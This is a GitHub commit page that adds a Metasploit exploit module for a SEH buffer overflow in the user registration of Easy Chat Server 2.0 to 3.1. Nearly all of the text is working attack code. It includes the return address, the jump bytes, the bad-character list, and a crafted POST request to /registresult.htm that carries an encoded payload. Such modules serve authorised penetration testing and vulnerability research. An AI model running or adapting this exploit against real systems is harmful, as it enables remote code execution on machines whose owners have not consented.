Skip to content

Commit bc826cb

Browse files
committed
Easy Chat Server From 2.0 to 3.1 - Buffer Overflow (SEH) exploit
1 parent 7355817 commit bc826cb

File tree

1 file changed

+62
-0
lines changed

1 file changed

+62
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = NormalRanking
9+
10+
include Msf::Exploit::Remote::Tcp
11+
#include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
16+
'Description' => %q{
17+
This module exploits a buffer overflow during user registration in Easy Chat Server software.
18+
},
19+
'Author' =>
20+
[
21+
'Aitezaz Mohsin', #POC
22+
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'EDB', '42186' ],
28+
],
29+
'Privileged' => true,
30+
'Payload' =>
31+
{
32+
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
33+
},
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
[ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
38+
],
39+
'DefaultOptions' => {
40+
'RPORT' => 80,
41+
'EXITFUNC' => 'thread',
42+
'ENCODER' => 'x86/alpha_mixed'
43+
},
44+
'DisclosureDate' => 'Oct 09 2017',
45+
'DefaultTarget' => 0))
46+
end
47+
48+
def exploit
49+
sploit = rand_text_alpha_upper(217)
50+
sploit << "\xeb\x06\x90\x90"
51+
sploit << [target.ret].pack('V')
52+
sploit << payload.encoded
53+
sploit << rand_text_alpha_upper(200)
54+
sploit << [target.ret].pack('V')
55+
56+
request = "POST /registresult.htm HTTP/1.1\r\n\r\nUserName=#{sploit}&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
57+
connect
58+
sock.put(request)
59+
handler
60+
disconnect
61+
end
62+
end

0 commit comments

Comments
 (0)